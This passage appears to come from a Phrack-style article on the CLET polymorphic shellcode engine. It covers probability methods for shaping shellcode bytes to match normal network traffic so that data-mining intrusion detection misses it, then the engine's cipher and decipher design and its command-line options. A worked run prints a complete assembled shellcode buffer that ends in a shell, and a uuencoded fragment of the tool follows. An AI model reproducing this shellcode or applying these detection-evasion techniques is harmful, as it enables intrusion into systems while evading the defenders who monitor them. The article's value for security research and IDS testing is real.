||
|
|
our packet. Take the beginning and try with the same principles to create
|
||
|
|
a cramming zone. If you obtain the same bytes then the packet have been
|
||
|
|
created by CLET polymorphism engine (even if it is not easy to find the
|
||
|
|
beginning of the cramming bytes zone). You can discard it.
|
||
|
|
|
||
|
|
So now we have to introduce a law of probability. Indeed, if we have the
|
||
|
|
following beginning: ABBAAAAA, we have to increase the probability to
|
||
|
|
obtain a C and decrease probability to obtain B or A. But this last
|
||
|
|
probabilities mustn't be null! The real question is thus:
|
||
|
|
how modifying probability of A,B,C in order to finally obtain a packet
|
||
|
|
which spectrum is close to trafic spectrum?
|
||
|
|
|
||
|
|
------[ 5.3.1.B - A logical idea.
|
||
|
|
|
||
|
|
Take the last example: we have
|
||
|
|
|
||
|
|
ABBAAAAA
|
||
|
|
|
||
|
|
and a spectrum file with:
|
||
|
|
A=50; B=50; C=100;
|
||
|
|
|
||
|
|
how choosing laws of probabilty?
|
||
|
|
With notations used upper and in case of all the bytes would have been
|
||
|
|
chosen using spectrum file, we would have:
|
||
|
|
|
||
|
|
E[Xa]=9/4
|
||
|
|
E[Xb]=9/4
|
||
|
|
E[Xc]=9/2
|
||
|
|
|
||
|
|
E[X] is written for the hope of the random variable X (mathematicaly
|
||
|
|
speaking in our case: E[X]=p(X)*size (here 9) because it's a Bernouilli
|
||
|
|
variable).
|
||
|
|
|
||
|
|
In fact we have 6 A and 2 B.
|
||
|
|
Because 9/4-6 <0, it will stupid to generate a A, we can write that the
|
||
|
|
new probability of A is now p(A)=0!
|
||
|
|
|
||
|
|
However 9/4-2 >0 and 9/2-0>0 so we can still generate B and C to ajust the
|
||
|
|
spectrum. We must have p(B)>0 and p(C)>0.
|
||
|
|
We have:
|
||
|
|
|
||
|
|
9/4-2=1/4
|
||
|
|
9/2-0=9/2
|
||
|
|
|
||
|
|
So intuitively, we can think that it is logic that C has a probablity
|
||
|
|
(9/2)/(1/4)=18 bigger than probability of B. Thus we have to solve the
|
||
|
|
system:
|
||
|
|
|
||
|
|
| p(C)=18*p(B) ie | p(B)=1/19
|
||
|
|
| p(C)+p(B)=1 | p(C)=18/19
|
||
|
|
|
||
|
|
and we obtain laws for generate the ninth byte.
|
||
|
|
Then we can use the same algorithm to create cramming byte zone.
|
||
|
|
|
||
|
|
However this algorithm has the following problem:
|
||
|
|
|
||
|
|
the big problem is to know in what conditions we have:
|
||
|
|
|
||
|
|
E[Xa] ~ sizeof(packet) * p(A)
|
||
|
|
E[Xb] ~ sizeof(packet) * p(B)
|
||
|
|
E[Xc] ~ sizeof(packet) * p(C)
|
||
|
|
...
|
||
|
|
when sizeof(cramming zone) ---> +oo
|
||
|
|
ie when sizeof(paquet) -------> +oo
|
||
|
|
|
||
|
|
~ means equivalent to (in the mathematical sense).
|
||
|
|
|
||
|
|
sizeof(packet) * p(.) would be the hope in case of the whole packet would
|
||
|
|
have been generated depending on trafic (because in such a case, Xa,Xb,..
|
||
|
|
would be variables of Bernouilli, see [7]). Remember it's what we want. We
|
||
|
|
want that our cramming byte zone generate a packet which entire spectrum
|
||
|
|
is close to trafic spectrum. We want that our laws 'correct' the spectrum
|
||
|
|
of the beginning. Intuitively we can hope that it will be the case because
|
||
|
|
we favour lacking bytes over the others. However, it is a bit difficult to
|
||
|
|
prove it, mathematicaly speaking. Indeed take E[Xa] for instance. It's
|
||
|
|
very difficult to write it. In that way laws to generate the N byte
|
||
|
|
depending on the N-1 random byte. In our example, laws to generate the
|
||
|
|
tenth byte are not the same if we have ABBAAAAAC or ABBAAAAAB. Remember
|
||
|
|
that to avoid a fixed method the two cases are allowed!
|
||
|
|
That's for all this reasons we have chosen a simpler method.
|
||
|
|
|
||
|
|
------[ 5.3.1.C - CLET Method.
|
||
|
|
|
||
|
|
If you don't use the option -B, cramming bytes zone will be generated as
|
||
|
|
explain in the beginning of 5.3.1, without taking the beginning into
|
||
|
|
account. We can begin to explain how this method is implemented, how it
|
||
|
|
uses the spectrum file. Imagine we have the following spectrum file:
|
||
|
|
|
||
|
|
0 6
|
||
|
|
1 18
|
||
|
|
2 13
|
||
|
|
3 32
|
||
|
|
4 0
|
||
|
|
.....
|
||
|
|
FC 0
|
||
|
|
FD 37
|
||
|
|
FE 0
|
||
|
|
FF 0
|
||
|
|
|
||
|
|
First we can notice that we don't take care of the first line because we
|
||
|
|
can't generate zeros in our zone. We build the following board:
|
||
|
|
|
||
|
|
| sizeof(board) | 1 | 2 | 3 | FC |
|
||
|
|
---------------------------------------------------------------
|
||
|
|
| XXXXXXXXX | 18 | 13+18 | 31+32 | 63+37 |
|
||
|
|
= 31 = 63 = 100
|
||
|
|
|
||
|
|
|
||
|
|
Then we randomly choose a number n between 1 and 100 and we make a
|
||
|
|
dichotomic search in the board (to limit the complexity because we have a
|
||
|
|
sorted board).
|
||
|
|
|
||
|
|
if 0 < n <= 18 we generate \x01
|
||
|
|
if 18 < n <= 31 we generate \x02
|
||
|
|
if 31 < n <= 63 we generate \x03
|
||
|
|
if 63 < n <= 100 we generate \xFC
|
||
|
|
|
||
|
|
This method allows us to generate a cramming bytes zone with p(1)=18/100,
|
||
|
|
p(2)=13/100, p(3)=32/100 and p(FC)=37/100, without using float division.
|
||
|
|
|
||
|
|
Now let's see how the option -B take the beginning into account.
|
||
|
|
|
||
|
|
We take the same example with the same spectrum file:
|
||
|
|
|
||
|
|
| sizeof(board) | 1 | 2 | 3 | FC |
|
||
|
|
---------------------------------------------------------------
|
||
|
|
| XXXXXXXXX | 18 | 13+18 | 31+32 | 63+37 |
|
||
|
|
= 31 = 63 = 100
|
||
|
|
|
||
|
|
To take the beginning into account, we modify the board with the following
|
||
|
|
method:
|
||
|
|
|
||
|
|
Imagine we have to generate a 800 bytes cramming bytes zone, the beginning
|
||
|
|
have a size of 200 bytes. In fact, at the end, our packet without the
|
||
|
|
adress zone will have a size of 1000 bytes.
|
||
|
|
|
||
|
|
We call Ntotal the max value in board (here 100) and b the size of the
|
||
|
|
packet without the adress zone (here 1000).
|
||
|
|
b= b1 + b2 (b1 is size of the beginning=fakenop+decipher+shellcode and b2
|
||
|
|
is size of cramming byte zone). Here b1=200 and b2=800.
|
||
|
|
|
||
|
|
Let's see how we modify the board, for instance with byte \x03. We call q3
|
||
|
|
the number of byte \x03 we found in the beginning. (here we choose q3=20).
|
||
|
|
|
||
|
|
We make q3*Ntotal/b=20*1/10=2 and then we make 63-2=61. We obtain the
|
||
|
|
following board:
|
||
|
|
|
||
|
|
| sizeof(board) | 1 | 2 | 3 | FC |
|
||
|
|
---------------------------------------------------------------
|
||
|
|
| XXXXXXXXX | 18 | 13+18 | 63-02 | 61+37 |
|
||
|
|
= 31 = 61 = 98
|
||
|
|
|
||
|
|
So now, we can think that we have a probability of 30/98 to generate \x03,
|
||
|
|
however this algorithm have to be use to modify all value. The value 98
|
||
|
|
will be thus modified. We apply the same algorithm and we can suppose we
|
||
|
|
finally obtain the board:
|
||
|
|
|
||
|
|
| sizeof(board) | 1 | 2 | 3 | FC |
|
||
|
|
---------------------------------------------------------------
|
||
|
|
| XXXXXXXXX | 16 | 11+16 | 57 | 57+33 |
|
||
|
|
= 27 = 90
|
||
|
|
|
||
|
|
Finally we see that we obtain laws:
|
||
|
|
|
||
|
|
p(\x01)= 16/90
|
||
|
|
p(\x02)= 11/90
|
||
|
|
p(\x03)= 30/90
|
||
|
|
p(\xFC)= 33/90
|
||
|
|
|
||
|
|
This laws will be use to generate all the cramming bytes zone.
|
||
|
|
Intuitively, we understand that, with this method, we correct our
|
||
|
|
spectrum depending on the values we have in the beginning. The question is
|
||
|
|
now, can we prove that this method do a right correction, that:
|
||
|
|
|
||
|
|
E[Xn] ~ b*p(n) when b ---> +oo
|
||
|
|
|
||
|
|
where X is a random variable of bernouilli which count the number of the
|
||
|
|
byte n in the packet and p(n) the probability of n to appear in the
|
||
|
|
trafic.
|
||
|
|
|
||
|
|
If such is the case, that means that E[X], with a sufficient value of b,
|
||
|
|
is 'like a simple bernoulli hope'. It's like we have generated the whole
|
||
|
|
packet with probabilities of the trafic!
|
||
|
|
|
||
|
|
Let's prove it!
|
||
|
|
|
||
|
|
We take the same notation. Ntotal is total sum of data in the trafic.
|
||
|
|
b=b1+b2 (b1 size of beginning, b2 size of cramming zone).
|
||
|
|
We call q(\xA2) number of \xA2 bytes in beginning (fakenop +decipher +
|
||
|
|
shellcode) and n(\xAE) the number initially written in spectrum file near
|
||
|
|
AE.
|
||
|
|
|
||
|
|
We take a byte that we call TT.
|
||
|
|
|
||
|
|
E[Xt] = q(TT) + b2 * p'(TT)
|
||
|
|
|
||
|
|
p'(TT) is the probability for having n after modification of the board. As
|
||
|
|
we see previously:
|
||
|
|
|
||
|
|
n(TT) - q(TT)*Ntotal/b
|
||
|
|
p'(TT)= -----------------------------------------------------------
|
||
|
|
Ntotal - ( q(\x00)+ q(\x01) + ...... + q(\xFF) )*Ntotal/b
|
||
|
|
|
||
|
|
So we have:
|
||
|
|
|
||
|
|
n(TT) - q(TT)*Ntotal/b
|
||
|
|
E[Xt]=q(TT)+b2*--------------------------------------------------------
|
||
|
|
Ntotal - (q(\x00)+ q(\x01) + ...... + q(\xFF))*Ntotal/b
|
||
|
|
|
||
|
|
|
||
|
|
We simplify by Ntotal:
|
||
|
|
|
||
|
|
(b2*n(TT))/Ntotal - q(TT)*b2/b
|
||
|
|
E[Xt]=q(TT) + --------------------------------------------------------
|
||
|
|
1 - (q(\x00)+ q(\x01) + ...... + q(\xFF))/b
|
||
|
|
|
||
|
|
Ok, when b -----> +oo, we have:
|
||
|
|
|
||
|
|
b2~b (b=b1+b2 and b1 is a constant)
|
||
|
|
|
||
|
|
Obviously q(\x00)=o(b); q(\x01)=o(b);.....
|
||
|
|
|
||
|
|
thus (q(\x00)+ q(\x01) + ...... + q(\xFF))/b = o(1) and:
|
||
|
|
1 - (q(\x00)+ q(\x01) + ...... + q(\xFF))/b -------> 1
|
||
|
|
|
||
|
|
so E[Xt] = q(TT) + b*(n(TT)/Ntotal) - q(TT) + o(b)
|
||
|
|
|
||
|
|
Moreover we have p(n)=n(TT)/Ntotal so
|
||
|
|
|
||
|
|
E[Xt] = b*p(n) + o(b)
|
||
|
|
|
||
|
|
so E[Xt] ~ b*p(n) we got it!
|
||
|
|
|
||
|
|
We can notice that we got this relation with the first simple method. We
|
||
|
|
can so think that this second method is not better. It is wrong because
|
||
|
|
remember that this relation doesn't show that a method is good or not, it
|
||
|
|
just shows if a method is fair or not! This second method takes beginning
|
||
|
|
into account, so it is better that the simple one. However before
|
||
|
|
demonstration we can't know if this method was fair. We just knew that if
|
||
|
|
it was fair, it will better than the simple one. Now we know that it is
|
||
|
|
fair. That's why CLET uses it.
|
||
|
|
|
||
|
|
|
||
|
|
------[ 5.3.2 - Generating shellcode zone using spectrum analysis.
|
||
|
|
|
||
|
|
There is a very simple idea: generating several decipher routines and
|
||
|
|
using the best one. But how choose the best one?
|
||
|
|
|
||
|
|
Remember we want to generate a shellcode which will be considered as
|
||
|
|
normal. So we could think that the best decipher routine is the one which
|
||
|
|
allows to generate a shellcode which spectrum is close to trafic spectrum.
|
||
|
|
However it's important to understand that this kind of approach has its
|
||
|
|
limits. Indeed, imagine following cases:
|
||
|
|
|
||
|
|
We have an IDS which data mining methods is very simple, if it finds a
|
||
|
|
byte \xFF in a packet, it generate an alert and discard it. We have the
|
||
|
|
following spectrum file:
|
||
|
|
|
||
|
|
0 0
|
||
|
|
1 0
|
||
|
|
.....
|
||
|
|
41 15678
|
||
|
|
42 23445
|
||
|
|
....
|
||
|
|
|
||
|
|
The shellcode we generate will have many \x41 and \x42, but imagine it
|
||
|
|
has a \xFF in the ciphered shellcode. Our packet will be discarded.
|
||
|
|
However if we have done a packet without spectrum file and without a \xFF
|
||
|
|
byte, this packet would have been accepted. We think that the more the
|
||
|
|
shellcode will have a spectrum close to trafic spectrum, the more the
|
||
|
|
packet have probability to be accepted. However, it can exist exception as
|
||
|
|
we see in the example (we can notice that in example the rule was very
|
||
|
|
clear, but rules generated by data mining method are less simple).
|
||
|
|
The main question is thus: how defining a good polymorph shellcode?
|
||
|
|
|
||
|
|
Against data mining method there is a simple idea, we have to define a
|
||
|
|
measure which let us to measure a value of a shellcode. How finding this
|
||
|
|
measure? For the moment we work on a measure which favours shellcode which
|
||
|
|
spectrum is close to trafic spectrum by giving a heavy value of bytes
|
||
|
|
which don't appear in trafic. However, this method is not implemented in
|
||
|
|
version 1.0.0 because today IDS with data-mining methods are not very
|
||
|
|
developped (there is SNORT) and so it is difficult to see what kind of
|
||
|
|
caracteristics will be detected (size of packet, spectrum of packet, ...)
|
||
|
|
and it is so difficult to define a good measure.
|
||
|
|
|
||
|
|
|
||
|
|
------[ 5.3.3 - Generating fakenop zone using spectrum analysis.
|
||
|
|
|
||
|
|
In this part, we don't perform to modify the code following the spectrum
|
||
|
|
analysis due to difficulties of such an implementation. We just are
|
||
|
|
trying to generate random code with the my_random function which gives a
|
||
|
|
uniform probability to generate number between min and max... :(
|
||
|
|
We still could think about a function which would give a weight for each
|
||
|
|
instruction following the results of a spectrum analysis, and we could
|
||
|
|
generate fake-nop with a random function whose density function corresponds
|
||
|
|
to the density of probability given by the former function...
|
||
|
|
The problem with this method is that the set of instructions is smaller
|
||
|
|
than the set of all the hexa codes that contains the network traffic.
|
||
|
|
Such a finding automaticaly dodges the issues of our method, and all we
|
||
|
|
can do is to minimalise the difference of spectrum between our code and
|
||
|
|
a normal network traffic and try to compensate with other parts of the
|
||
|
|
shellcode we better control (like the craming bytes)...
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
----[ 5.4 - Conclusion about anti data-mining methods.
|
||
|
|
|
||
|
|
Spectrum Analysis an approach, it's not the only one. We are aware too
|
||
|
|
that, with methods like neural method exposed upper, it is possible to
|
||
|
|
generate a filter against CLET polymorphic shellcodes, if you use our
|
||
|
|
engine as a benchmark to involve your neural system. That's a interessant
|
||
|
|
way of using! Maybe it is interessant too to think about genetic methods
|
||
|
|
in order to find the best approach (cf [5]). However, today data-mining
|
||
|
|
begins and so it's difficult to find the best approach...
|
||
|
|
|
||
|
|
|
||
|
|
--[ 6 - The CLET Polymorphic Shellcode Engine
|
||
|
|
|
||
|
|
----[ 6.1 - Principles
|
||
|
|
|
||
|
|
We decided to make a different routine at each time, randomly. We first
|
||
|
|
generate a XOR (with a random key) at a random place, and then we generate
|
||
|
|
reversible instructions (as many as you want) : ADD/SUB, ROL/ROR. We don't
|
||
|
|
generate it in assembly but in a pseudo-assembly language, it is easier to
|
||
|
|
manipulate pseudo-assembly language at this point of the program because we
|
||
|
|
have to make two things at the same time : cipher the shellcode and generate
|
||
|
|
the decipher routine.
|
||
|
|
|
||
|
|
Let's see how it works :
|
||
|
|
|
||
|
|
|
|
||
|
|
|
|
||
|
|
|
|
||
|
|
+-------+--------+
|
||
|
|
| pseudo-code of |
|
||
|
|
| the decipher |<----------------+
|
||
|
|
| routine | |
|
||
|
|
+----------------+ |
|
||
|
|
| | |
|
||
|
|
| | |
|
||
|
|
traduction interpretation |
|
||
|
|
| + |
|
||
|
|
| cipher |
|
||
|
|
| | |
|
||
|
|
| | |
|
||
|
|
| | YES
|
||
|
|
| | |
|
||
|
|
+-------------+ +-----------+ +----+----+
|
||
|
|
| decipher | | ciphered | | |
|
||
|
|
| routine | | shellcode +----->| zeroes? |
|
||
|
|
| | | | | |
|
||
|
|
+------+------+ +-----------+ +----+----+
|
||
|
|
| |
|
||
|
|
| NO
|
||
|
|
| |
|
||
|
|
| +----------------------------+
|
||
|
|
| |
|
||
|
|
| |
|
||
|
|
+-------------+
|
||
|
|
| polymorphed |
|
||
|
|
| shellcode |
|
||
|
|
+-------------+
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
Of course, when a cipher routine has been generated, we test it to see if a
|
||
|
|
zero appear in the ciphered code (we also take care of not having zeroes in
|
||
|
|
the keys. If it is the case, we replace it by a 0x01). If it is the case, a
|
||
|
|
new cipher routine is generated. If it is good, we generate the decipher
|
||
|
|
routine. We don't insert fake instructions among the true instructions of
|
||
|
|
the decipher routine, it could improve the generator.
|
||
|
|
|
||
|
|
The main frame of our routine is rather the same (this is maybe a weakness)
|
||
|
|
but we use three registers. But we take care of using different registers
|
||
|
|
at each time, ie those three registers are chosen at random (cf 4.2)
|
||
|
|
|
||
|
|
|
||
|
|
----[ 6.2 - Using CLET polymorphic engine
|
||
|
|
|
||
|
|
theo@warmach$ ./clet -h
|
||
|
|
_________________________________________________________________________
|
||
|
|
|
||
|
|
The CLET shellcode mutation engine
|
||
|
|
by CLET TEAM:
|
||
|
|
Theo Detristan, Tyll Ulenspiegel,
|
||
|
|
Mynheer Superbus Von Underduk, Yann Malcom
|
||
|
|
_________________________________________________________________________
|
||
|
|
|
||
|
|
|
||
|
|
Don't use it to enter systems, use it to understand systems.
|
||
|
|
|
||
|
|
Version 1.0.0
|
||
|
|
|
||
|
|
Syntax :
|
||
|
|
./clet
|
||
|
|
-n nnop : generate nnop NOP.
|
||
|
|
-a : use american english dictonnary to generate NOP.
|
||
|
|
-c : print C form of the buffer.
|
||
|
|
-i nint : decryption routine has nint instructions (default is 5)
|
||
|
|
-f file : spectrum file used to polymorph.
|
||
|
|
-b ncra : generate ncra cramming bytes using spectrum or not
|
||
|
|
-B : cramming bytes zone is adapted to beginning
|
||
|
|
-t : number of bytes generated is a multiple of 4
|
||
|
|
-x XXXX : XXXX is the address for the address zone
|
||
|
|
FE011EC9 for instance
|
||
|
|
-z nadd : generate address zone of nadd*4 bytes
|
||
|
|
-e : execute shellcode.
|
||
|
|
-d : dump shellcode to stdout.
|
||
|
|
-s : spectrum analysis.
|
||
|
|
-S file : load shellcode from file.
|
||
|
|
-E [1-3]: load an embeded shellcode.
|
||
|
|
-h : display this message.
|
||
|
|
|
||
|
|
/* Size options:
|
||
|
|
|
||
|
|
In bytes:
|
||
|
|
|
||
|
|
-n nnop -b ncra -z nadd/4
|
||
|
|
<--------> <--------------><------------->
|
||
|
|
-------------------------------------------------------------------------
|
||
|
|
| FAKENOP | DecipherRoutine | shellcode | bytes to cram | return adress |
|
||
|
|
-------------------------------------------------------------------------
|
||
|
|
|
||
|
|
-t allows that:
|
||
|
|
|
||
|
|
Size_of_fake_nop_zone + Size_decipher + Size_decipher + Size_cramming
|
||
|
|
is a multiple of 4. This option allows to alignate return adresses.
|
||
|
|
|
||
|
|
-i is the number of fake instructions (cf 6.1) in the decipher routine.
|
||
|
|
|
||
|
|
/* Anti-data mining options:
|
||
|
|
|
||
|
|
-f you give here a spectrum file which shows trafic spectrum (cf 5.3)
|
||
|
|
If you don't give a file, probabilities of bytes are the same.
|
||
|
|
|
||
|
|
-B the option -b generates a cramming bytes zone. If the option is used
|
||
|
|
without -B, process of generation doesn't take care of the fakenop
|
||
|
|
zone, ciphered shellcode, etc... Indeed if -b is used with -B then
|
||
|
|
cramming bytes zone tries to correct spectrum 'errors' due to the
|
||
|
|
begininning.
|
||
|
|
|
||
|
|
/* Shellcode
|
||
|
|
|
||
|
|
-E allows you to choose one of our shellcode.
|
||
|
|
1 is a classic bash (packetstorm).
|
||
|
|
2 is aleph one shellcode.
|
||
|
|
3 is a w00w00 code which add a root line in /etc/passwd
|
||
|
|
(don't use it with -e in root)
|
||
|
|
|
||
|
|
-S allows us to give your shellcode. It's important because our
|
||
|
|
shellcodes are not remote shellcode! You give a file and its bytes
|
||
|
|
will be the shellcode. If you just have a shellcode in Cformat you can
|
||
|
|
use convert.
|
||
|
|
|
||
|
|
-e execute the encrypted shellcode, you see your polymorphic shellcode
|
||
|
|
runs.
|
||
|
|
|
||
|
|
/* See the generated shellcode.
|
||
|
|
|
||
|
|
-c writes the shellcode in C format.
|
||
|
|
|
||
|
|
-d dump it on stderr.
|
||
|
|
|
||
|
|
|
||
|
|
/* Example
|
||
|
|
|
||
|
|
theo@warmach$ ./clet -e -E 2 -b 50 -t -B -c -f ../spectrum/stat2 -a -n 123
|
||
|
|
-a -x AABBCCEE -z 15 -i 8
|
||
|
|
|
||
|
|
[+] Generating decryption loop :
|
||
|
|
ADD 4EC0CB5C
|
||
|
|
ROR 19
|
||
|
|
SUB 466D336C // option -i
|
||
|
|
XOR A535C6B4 // we've got 8 instructions.
|
||
|
|
ROR D
|
||
|
|
ROR 6
|
||
|
|
SUB 51289E19
|
||
|
|
SUB DAD72129
|
||
|
|
done
|
||
|
|
|
||
|
|
[+] Generating 123 bytes of Alpha NOP :
|
||
|
|
NOP : SUPREMELYCRUTCHESCATARACTINSTRUMENTATIONLOVABLYPERILLABARB
|
||
|
|
SPANISHIZESBEGANAMBIDEXTROUSLYPHOSPHORSAVEDZEALOUSCONVINCEDFIXERS
|
||
|
|
done
|
||
|
|
|
||
|
|
// 123 bytes, it's the -n 123 option. -a means alphanumeric nops.
|
||
|
|
|
||
|
|
[+] Choosing used regs :
|
||
|
|
work_reg : %edx
|
||
|
|
left_reg : %ebx // regs randomly chosen for decipher routine.
|
||
|
|
addr_reg : %ecx
|
||
|
|
done
|
||
|
|
|
||
|
|
[+] Generating decryption header :
|
||
|
|
done
|
||
|
|
|
||
|
|
[+] Crypting shellcode :
|
||
|
|
done
|
||
|
|
|
||
|
|
[+] Generating 50 cramming bytes // -b 50 bytes of cramming bytes
|
||
|
|
[+] Using ../spectrum/stat2 // -f ../spectrum/stat2: bytes
|
||
|
|
[+] Adapting to beginning // depends on spectrum file.
|
||
|
|
done // -B options: Adapting to beginning
|
||
|
|
// cf 5.3.1
|
||
|
|
|
||
|
|
[+] Generating 1 adding cramming bytes to equalize // -t option
|
||
|
|
[+] Using ../spectrum/stat2 // we can now add adresses of 4 bytes
|
||
|
|
done
|
||
|
|
|
||
|
|
[+] Assembling buffer :
|
||
|
|
buffer length : 348
|
||
|
|
done
|
||
|
|
|
||
|
|
// This all the polymorph shellcode in C format (option -c)
|
||
|
|
|
||
|
|
Assembled version :
|
||
|
|
\x53\x55\x50\x52
|
||
|
|
\x45\x4D\x45\x4C
|
||
|
|
\x59\x43\x52\x55
|
||
|
|
\x54\x43\x48\x45
|
||
|
|
\x53\x43\x41\x54
|
||
|
|
\x41\x52\x41\x43
|
||
|
|
\x54\x49\x4E\x53
|
||
|
|
\x54\x52\x55\x4D
|
||
|
|
\x45\x4E\x54\x41
|
||
|
|
\x54\x49\x4F\x4E
|
||
|
|
\x4C\x4F\x56\x41
|
||
|
|
\x42\x4C\x59\x50
|
||
|
|
\x45\x52\x49\x4C
|
||
|
|
\x4C\x41\x42\x41
|
||
|
|
\x52\x42\x53\x50
|
||
|
|
\x41\x4E\x49\x53
|
||
|
|
\x48\x49\x5A\x45
|
||
|
|
\x53\x42\x45\x47
|
||
|
|
\x41\x4E\x41\x4D
|
||
|
|
\x42\x49\x44\x45
|
||
|
|
\x58\x54\x52\x4F
|
||
|
|
\x55\x53\x4C\x59
|
||
|
|
\x50\x48\x4F\x53
|
||
|
|
\x50\x48\x4F\x52
|
||
|
|
\x53\x41\x56\x45
|
||
|
|
\x44\x5A\x45\x41
|
||
|
|
\x4C\x4F\x55\x53
|
||
|
|
\x43\x4F\x4E\x56
|
||
|
|
\x49\x4E\x43\x45
|
||
|
|
\x44\x46\x49\x58
|
||
|
|
\x45\x52\x53\xEB
|
||
|
|
\x3B\x59\x31\xDB
|
||
|
|
\xB3\x30\x8B\x11
|
||
|
|
\x81\xC2\x5C\xCB
|
||
|
|
\xC0\x4E\xC1\xCA
|
||
|
|
\x19\x81\xEA\x6C
|
||
|
|
\x33\x6D\x46\x81
|
||
|
|
\xF2\xB4\xC6\x35
|
||
|
|
\xA5\xC1\xCA\x0D
|
||
|
|
\xC1\xCA\x06\x81
|
||
|
|
\xEA\x19\x9E\x28
|
||
|
|
\x51\x81\xEA\x29
|
||
|
|
\x21\xD7\xDA\x89
|
||
|
|
\x11\x41\x41\x41
|
||
|
|
\x41\x80\xEB\x04
|
||
|
|
\x74\x07\xEB\xCA
|
||
|
|
\xE8\xC0\xFF\xFF
|
||
|
|
\xFF\xE3\xBF\x84
|
||
|
|
\x3E\x59\xF4\xFD
|
||
|
|
\xEE\xE7\xCF\xE2
|
||
|
|
\xA2\x02\xF8\xBE
|
||
|
|
\x1D\x30\xEB\x32
|
||
|
|
\x3C\x12\xD7\x5A
|
||
|
|
\x95\x09\xAB\x16
|
||
|
|
\x07\x24\xE3\x02
|
||
|
|
\xEA\x3B\x58\x02
|
||
|
|
\x2D\x7A\x82\x8A
|
||
|
|
\x1C\x8A\xE1\x5C
|
||
|
|
\x23\x4F\xCF\x7C
|
||
|
|
\xF5\x41\x41\x43
|
||
|
|
\x42\x43\x0A\x43
|
||
|
|
\x43\x43\x41\x41
|
||
|
|
\x42\x43\x43\x43
|
||
|
|
\x43\x43\x43\x42
|
||
|
|
\x43\x43\x43\x43
|
||
|
|
\x43\x0D\x0D\x43
|
||
|
|
\x43\x43\x43\x43
|
||
|
|
\x41\x42\x43\x43
|
||
|
|
\x43\x41\x43\x42
|
||
|
|
\x42\x43\x43\x42
|
||
|
|
\x0D\x41\x43\x41
|
||
|
|
\x42\x41\x43\x43 // -t option: it is equalized.
|
||
|
|
\xAA\xBB\xCC\xEE // -z 15 option: 15*sizeof(adress) zone
|
||
|
|
\xAA\xBB\xCC\xEE // -x AABBCCEE option gives the adress
|
||
|
|
\xAA\xBB\xCC\xEE
|
||
|
|
\xAA\xBB\xCC\xEE
|
||
|
|
\xAA\xBB\xCC\xEE
|
||
|
|
\xAA\xBB\xCC\xEE
|
||
|
|
\xAA\xBB\xCC\xEE
|
||
|
|
\xAA\xBB\xCC\xEE
|
||
|
|
\xAA\xBB\xCC\xEE
|
||
|
|
\xAA\xBB\xCC\xEE
|
||
|
|
\xAA\xBB\xCC\xEE
|
||
|
|
\xAA\xBB\xCC\xEE
|
||
|
|
\xAA\xBB\xCC\xEE
|
||
|
|
\xAA\xBB\xCC\xEE
|
||
|
|
\xAA\xBB\xCC\xEE
|
||
|
|
|
||
|
|
Executing buffer : ... // -e option we test our polymorph shellcode
|
||
|
|
sh-2.05a$ // -E 2 we've chosen Aleph One shellcode
|
||
|
|
// That's it.
|
||
|
|
|
||
|
|
--[ 7 - References
|
||
|
|
|
||
|
|
[1] http://www.phrack.org/p49-14
|
||
|
|
Smashing The Stack For Fun And Profit, Aleph One
|
||
|
|
|
||
|
|
[2] http://www.phrack.org/p57-0x0f
|
||
|
|
Writing ia32 alphanumeric shellcodes, rix
|
||
|
|
|
||
|
|
[3] IA-32 Intel Architecture Software Developer's Manual
|
||
|
|
Volume 2: Instruction Set Reference
|
||
|
|
http://www.intel.com/design/pentium4/manuals/
|
||
|
|
get it free ! http://www.intel.com/design/pentium4/manuals/index2.htm
|
||
|
|
|
||
|
|
[4] Billy Belcebu Virus Writing Guide
|
||
|
|
especially the chapter on polymorphism
|
||
|
|
http://vx.netlux.org/lib/static/vdat/tumisc60.htm
|
||
|
|
|
||
|
|
[5] Du virus a l'antivirus, Mark Ludwig
|
||
|
|
especially the chapter on polymorphism
|
||
|
|
|
||
|
|
[6] Neural Computing: an introduction.
|
||
|
|
R. Beale, T. Jackson
|
||
|
|
|
||
|
|
[7] Calcul des probabilites
|
||
|
|
Dominique Foata, Aime Fuchs
|
||
|
|
Dunod edition
|
||
|
|
|
||
|
|
--[ Greetz
|
||
|
|
|
||
|
|
We would like to thank :
|
||
|
|
- all those who were at the RtC.Party'03, in particular ptah, eldre8, kad
|
||
|
|
and spacewalker.
|
||
|
|
- #kaori@irc.freenode.net guys
|
||
|
|
- basque && bedian for moral support
|
||
|
|
|
||
|
|
begin 644 clet
|
||
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|
MC1M#=AS/EA.RFN8%^#&9+O\LG=*T$:X(8@]TY?YV]V<J*N$"IP9ZJV`]IY*P
|
||
|
|
M%HL`3U#L`-^_<$77NW0SSQ>/UJ5J+>XK3L[YOW``V>G^OZW\/]3\/^Q6\_^]
|
||
|
|
MI,K_H_+_J/P_OM[DY/]_>_WMJQ]>[ZR-3?Z_@=^U^'_0K<Y_VD_Z^6J\H!KE
|
||
|
|
M=99C)6.ZI,K]@BQFDYQ@)"RH(CF[I(KJ2>TR3<EQ2MC2P"G!+Z$ES-B]&3F>
|
||
|
|
ML2JU/[$_Y.2DO;C)T^7\=M*F)%[ZA(XT"IWGE.G<DJO9K^17V@BX.Q@)57S'
|
||
|
|
M4\:+V2Z86I*FLUO*/<D_:.$T@:%B]@M)EJPP\T.F$SL`_9I@PCHC5\G'G+'<
|
||
|
|
M+$].*NY2I2I5J4I5JE*5JE2E*E6I2E6J4I6J5*4J5:E*5:I2E;[>]&_'0]PH
|
||
|
|
$`/@'````
|
||
|
|
`
|
||
|
|
end
|
||
|
|
|
||
|
|
|=[ EOF ]=---------------------------------------------------------------=|
|
||
|
|
|